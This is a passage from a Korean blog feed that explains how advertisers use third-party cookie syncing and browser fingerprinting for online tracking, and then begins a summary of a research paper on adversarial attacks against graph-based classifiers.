&lt;p data-ke-size=&quot;size16&quot;&gt;사실 사용자의 특징 (나이, 연령대, 관심사 등등)을 파악하고 이에 맞게 광고를 내보내는 것이 광고주 입장에서는 굉장히 중요한 일이다. 최소한의 광고 노출로 최대한의 사람들에게 광고 효과를 누릴 수 있기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 그런데 과연 광고들이 어떻게 내가 관심있는 상품들을 알고 나한테 추천을 해주는 것일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 온라인 사용자들의 특징을 파악하고, 이를 위해서 사용자가 다른 어느 사이트를 방문했는지 확인하는 과정을 &lt;b&gt;온라인 트래킹 (Online Tracking)&lt;/b&gt;이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온라인 광고가 활성화 된 이후로, 사용자들을 트래킹하는 이 작업은 계속해서 발전해오고 있다. 지금부터 대표적인 온라인 트래킹 방식들을 알아보자!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5. 서드파티 쿠키(3rd-Party cookie)를 이용한 Cookie syncing&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;온라인 트래킹에는 서드 파티 쿠키를 이용한 &lt;b&gt;cookie syncing&lt;/b&gt;이 가장 정확하면서 많이 이용되는 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키에 대해서 잘 모르는 경우 아래 이전 게시글을 참고하길 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ddongwon.tistory.com/73&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ddongwon.tistory.com/73&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1717402806076&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Cookie, Web cache (쿠키, 웹 캐시의 개념)&quot; data-og-description=&quot;1. Cookie 쿠키는 문자와 숫자의 조합으로 된 작은 파일이다. 서버는 쿠키를 통해서 클라이언트를 식별하고 이에 맞춰 다양한 서비스를 제공한다. 아마존 사이트에 들어가면 내가 보았던 상품 목&quot; data-og-host=&quot;ddongwon.tistory.com&quot; data-og-source-url=&quot;https://ddongwon.tistory.com/73&quot; data-og-url=&quot;https://ddongwon.tistory.com/73&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/DAwcO/hyWgVG5Qtx/Rakk2aXXUKjT1kKd3I7ao0/img.png?width=800&amp;amp;height=529&amp;amp;face=0_0_800_529,https://scrap.kakaocdn.net/dn/uFruo/hyWg2zsus0/EYHPZ4w9qoemcbehDWkKc0/img.png?width=800&amp;amp;height=529&amp;amp;face=0_0_800_529,https://scrap.kakaocdn.net/dn/kW8pG/hyWhaK2rkM/AWfBA6NhuPiMBXQEp1FOx1/img.png?width=1146&amp;amp;height=758&amp;amp;face=0_0_1146_758&quot;&gt;&lt;a href=&quot;https://ddongwon.tistory.com/73&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ddongwon.tistory.com/73&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/DAwcO/hyWgVG5Qtx/Rakk2aXXUKjT1kKd3I7ao0/img.png?width=800&amp;amp;height=529&amp;amp;face=0_0_800_529,https://scrap.kakaocdn.net/dn/uFruo/hyWg2zsus0/EYHPZ4w9qoemcbehDWkKc0/img.png?width=800&amp;amp;height=529&amp;amp;face=0_0_800_529,https://scrap.kakaocdn.net/dn/kW8pG/hyWhaK2rkM/AWfBA6NhuPiMBXQEp1FOx1/img.png?width=1146&amp;amp;height=758&amp;amp;face=0_0_1146_758');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Cookie, Web cache (쿠키, 웹 캐시의 개념)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;1. Cookie 쿠키는 문자와 숫자의 조합으로 된 작은 파일이다. 서버는 쿠키를 통해서 클라이언트를 식별하고 이에 맞춰 다양한 서비스를 제공한다. 아마존 사이트에 들어가면 내가 보았던 상품 목&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ddongwon.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;1057&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baEnA6/btsHKKVYvQa/IYybZBZydhu4ALw8anUnJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baEnA6/btsHKKVYvQa/IYybZBZydhu4ALw8anUnJk/img.png&quot; data-alt=&quot;[그림 2] Cookie syuncing (출처: Cookie Synchronization: Everything You Always Wanted to Know But Were Afraid to Ask, WWW '19)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baEnA6/btsHKKVYvQa/IYybZBZydhu4ALw8anUnJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaEnA6%2FbtsHKKVYvQa%2FIYybZBZydhu4ALw8anUnJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;679&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;1057&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] Cookie syuncing (출처: Cookie Synchronization: Everything You Always Wanted to Know But Were Afraid to Ask, WWW '19)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 &lt;b&gt;cookie syncing&lt;/b&gt; 의 목적은 여러 트래커들이 서로 다른 웹페이지를 방문하는 서로 다른 사용자들을 잘 분류하여, 누가 어느 페이지들에 방문했는지를 확인하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 핵심은 최대한 많은 사용자들을 트래킹 하기 위해서 여러 트래커 회사들이 협력하고 있고, 이 협력하는 과정에서 서로의 정보를 공유하는 방법으로 cookie syncing을 이용한다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(즉 트래킹 하는 방법 자체라기 보다는, 여러 트래커가 각자 트래킹한 사용자들을 서로 맞춰보는 과정이라고 이해하면 편하다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 2]를 보면서 이해를 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 트래킹을 하기 원하는 트래커&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt; tracker.com&lt;/b&gt;와&lt;/span&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;&amp;nbsp;advertiser.com&lt;/b&gt;&lt;/span&gt;, 두개의 adverstiser가 있다고 가정해보자. 이 둘은 은 서로 협력하는 관계이다. 이 둘의 목적은 하나의 사용자가 다양한 웹사이트를 방문할 때 이를 하나의 동일한 사람으로 인식하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;step 1)&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;tracker.com&lt;/span&gt;&lt;/b&gt;은 &lt;b&gt;website1.com&lt;/b&gt;에 자신의 JS 코드 (&lt;span style=&quot;color: #006dd7;&quot;&gt;tracker.com/script.js&lt;/span&gt;)를 삽입해놓았고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;advertiser.com&lt;/span&gt;&lt;/b&gt;은 &lt;b&gt;website2.com&lt;/b&gt;에 자신의 이미지 (&lt;span style=&quot;color: #409d00;&quot;&gt;advertiser.com/adBanner.png&lt;/span&gt;)를 삽입해놓았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(이미 advertiser와 publisher가 ad-network를 통해 협력한 상황일 것이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;step 2)&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 사용자가 &lt;b&gt;website1.com&lt;/b&gt; 에 접속하면, &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;tracker.com&lt;/b&gt;&lt;/span&gt;에 해당하는 쿠키를 세팅하면서, 자신의 쿠키값인 &lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;user123&lt;/span&gt;&lt;/i&gt;을 저장하고 이를 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;tracker.com&lt;/b&gt;&lt;/span&gt;에게 알려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;똑같은 사용자가 &lt;b&gt;website2.com&lt;/b&gt; 에 접속하면, &lt;b&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;advertiser.com&lt;/span&gt; &lt;/b&gt;에 해당하는 쿠키를 세팅하면서, 자신의 쿠키값인 &lt;i&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;userABC&lt;/span&gt;&lt;/i&gt;를 저장하고 이를 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;에게 알려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 점은, 쿠키는 &quot;각 사이트&quot; 마다 설정이 된다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 과정에서 사용자는 &lt;b&gt;website1.com&lt;/b&gt;과 &lt;b&gt;website2.com&lt;/b&gt; 두개의 사이트에만 접속했지만, 해당 사용자에 대한 쿠키는 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;tracker.com&lt;/b&gt;&lt;/span&gt;, &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt; 에도 각각 세팅된 상황이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지의 상황을 정리해보면, &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;tracker.com&lt;/b&gt;&lt;/span&gt;은 이 사용자가 &lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;user123&lt;/span&gt;&lt;/i&gt; 이라는 식별자를 가진 것을 알고, &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;은 이 사용자가&lt;i&gt;&lt;span style=&quot;color: #409d00;&quot;&gt; userABC&lt;/span&gt;&lt;/i&gt;라는 식별자를 가진 것을 알고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 아무리 이 두 advertiser가 머리를 맞대보아도 &lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;user123&lt;/span&gt;&lt;/i&gt;과 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;i&gt;userABC&lt;/i&gt;&lt;/span&gt;가 같은 사용자라는 것은 알수가 없다. (왜냐면 식별자 &lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;user123&lt;/span&gt;&lt;/i&gt; 과 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;i&gt;userABC&lt;/i&gt;&lt;/span&gt;는 다르기 때문)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;step 3)&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 사용자가 &lt;b&gt;website3.com&lt;/b&gt; 에 접속한다. 단, 여기서 &lt;b&gt;website3.com&lt;/b&gt;에는&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt; tracker.com&lt;/b&gt; &lt;/span&gt;만 트래킹을 하고 있다고 가정해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 사용자는&lt;b&gt; website3.com&lt;/b&gt; 에 삽입된 작은 이미지 파일 &lt;span style=&quot;color: #006dd7;&quot;&gt;tracker.com/beacon.gif&lt;/span&gt; 을 읽게 되고, 이 요청은 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;tracker.com&lt;/b&gt;&lt;/span&gt;의 미리 짜여진 계획에 의해서 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;으로 redirect 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;96&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/l8w4Y/btsHLby2t5O/ShK5k8CpyFvbvl9Ts8l870/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/l8w4Y/btsHLby2t5O/ShK5k8CpyFvbvl9Ts8l870/img.png&quot; data-alt=&quot;[그림 3] tracker.com 에서 advertiser.com으로 redirect된 사용자의 요청(beacon.gif) (출처: Cookie Synchronization: Everything You Always Wanted to Know But Were Afraid to Ask, WWW '19)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/l8w4Y/btsHLby2t5O/ShK5k8CpyFvbvl9Ts8l870/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fl8w4Y%2FbtsHLby2t5O%2FShK5k8CpyFvbvl9Ts8l870%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;760&quot; height=&quot;84&quot; data-origin-width=&quot;870&quot; data-origin-height=&quot;96&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] tracker.com 에서 advertiser.com으로 redirect된 사용자의 요청(beacon.gif) (출처: Cookie Synchronization: Everything You Always Wanted to Know But Were Afraid to Ask, WWW '19)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 [그림 3]과 같은 요청이 사용자로부터 &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;에게&lt;/span&gt;&lt;/span&gt; 발생하게 된다. (&lt;span style=&quot;color: #006dd7;&quot;&gt;tracker.com&lt;/span&gt; 이 redirect 시켰으므로)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 해당 사용자는 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;에게 &lt;i&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;userABC&lt;/span&gt;&lt;/i&gt; 라는 쿠키 ID를 가지고 있는 상태이므로 (&lt;b&gt;website2.com&lt;/b&gt; 방문할 때 생겼던 것), 이를 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;에게 전송하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론적으로 이 순간, &lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;tracker.com&lt;/b&gt;&lt;/span&gt;과 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;advertiser.com&lt;/b&gt;&lt;/span&gt;은 각각 자신이 알고있었던 &lt;i&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;user123&lt;/span&gt;&lt;/i&gt;과 &lt;i&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;userABC&lt;/span&gt;&lt;/i&gt;가 같은 하나의 사용자임을 깨닫게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 여러 Advertiser들은 다양한 사이트들에 자신들의 스크립트나 이미지들을 심어놓고, 누가 누구인지 알아내는 온라인 트래킹 과정을 열심히 수행하게 된다. (그래서 표적광고 해서 돈 많이 번다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 점은, 이런 트래킹 방식은 웹사이트(website1/2/3.com)와 다른 도메인(advertiser/tracker.com)의 쿠키, 즉 &lt;b&gt;서드파티 쿠키(3rd-Party cookie)&lt;/b&gt;를 사용할 수 있기 때문에 가능하다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 최근에 서드파티 쿠키가 사용자들을 과도하게 트래킹하여 프라이버시를 침해한다는 문제가 발생함에 따라, 다양한 브라우저에서 서드파티 쿠키를 차단하려는 움직임이 발생하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사파리와 파이어폭스는 이미 허용되지 않은 서드파티 쿠키를 제한하고 있고, 구글 크롬도 조만간 서드파티 쿠키를 디폴트로 제한하겠다고 선언했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 서드파티 쿠키가 점점 설자리를 잃어가는 상황에서 cookie syncing 말고 다른 방법들이 필요해보인다. 대표적인 발법으로 first-party cookie를 이용하는 방법이 있고, 실제로 여러 연구들* 에서도 이를 적용하고 있긴 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;(* CookieGraph: Understanding and Detecting First-Party Tracking Cookies, ACM CCS, 2023)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 그래도 서드파티 쿠키를 이용한 트래킹의 성능에는 많이 부족할 것으로 예상된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;6. 그 외의 방법들...&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠키를 이용하지 않고 온라인 트래킹을 하는 방법들도 많이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대표적으로 웹브라우저의 다양한 세팅들 (User agent, installed fonts, screen resolution, ...) 을 마치 그 사람의 지문처럼 이용하여 동일한 세팅을 가지면 동일한 사용자라 가정하는 &lt;b&gt;Browser Fingerprinting&lt;/b&gt; 기법이 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 외에도 캐시 정보를 이용한 방법, 네트워크 정보들을 이용하는 방법 등 있고, 앞으로도 다양한 방법들이 제안될것이다..!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;오늘의 내용을 정리해보면,&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 온라인 광고는 Publisher, Advertiser, 그리고 그들을 연결해주는 Ad network로 구성된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 표적 광고를 위해 온라인 트래킹 기법들이 사용된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 가장 대표적인 방법은 서드파티 쿠키를 이용한 cookie syncing 이다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>보안</category>
      <category>ad network</category>
      <category>cookie syncing</category>
      <category>서드 파티 쿠키</category>
      <category>온라인 트래킹</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/129</guid>
      <comments>https://ddongwon.tistory.com/129#entry129comment</comments>
      <pubDate>Mon, 3 Jun 2024 04:11:07 +0900</pubDate>
    </item>
    <item>
      <title>[논문] Attacking Graph-based Classification via Manipulating the Graph Structure</title>
      <link>https://ddongwon.tistory.com/128</link>
      <description>&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Binghui Wang and Neil Zhenqiang Gong, &quot;Attacking Graph-based Classification via Manipulating the Graph Structure&quot;, CCS '19&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0. Abstract&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서는 그래프 기반의 classification 모델을 대상으로 공격을 한다. 그리고 제목에서 알 수 있듯이 공격은 그래프의 구조를 변경 (즉, edge의 연결구조를 변경) 함으로써 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전의 이미지 도메인에서 자주 활용되던 adversarial attack을 그래프 도메인에 적용시킨 초기 논문 중 하나로, 개인적으로 굉장히 좋아하는 논문이기도해서 간단하게 정리해보겠다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. Introduction&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래프 기반의 classification 모델은 malware detection, 소셜 네트워크에서의 fake (Sybil) user detection 등에 자주 사용된다. 그 중에서도 특히 일부 노드의 레이블 정보와 그래프 구조만을 가지고 classification을 수행하는 (1) collective classification, 딥러닝을 이용하는 (2) GNN 방식이 주로 사용되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서는 가장 유명한 collective classification 방식 중 하나인 LinLBP (Linearized Loopy Belief Propagation) 방식의 기법을 대상으로 공격을 진행하고, 공격된 그래프를 GNN 모델에도 transfer attack 하는식으로 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. Background&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 절에서는 앞서 말한 대표적인 collective classification 방식 중 하나인 LinLBP 기반의 classfication 모델에 대하여 설명하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 그래프의 구조가 주어져있다고 가정해보자 (node + edge).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 방어자는 전체 노드 중 일부 노드의 레이블을 알고 있다고 가정해보자. 예를 들어 소셜 네트워크에서 정상 계정과 허위 계정을 분류하고자 할 때, 방어자가 전체 수많은 노드 중에서 확실한 정상 계정 100개와 확실한 허위 계정 100개를 알고 있다고 가정해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
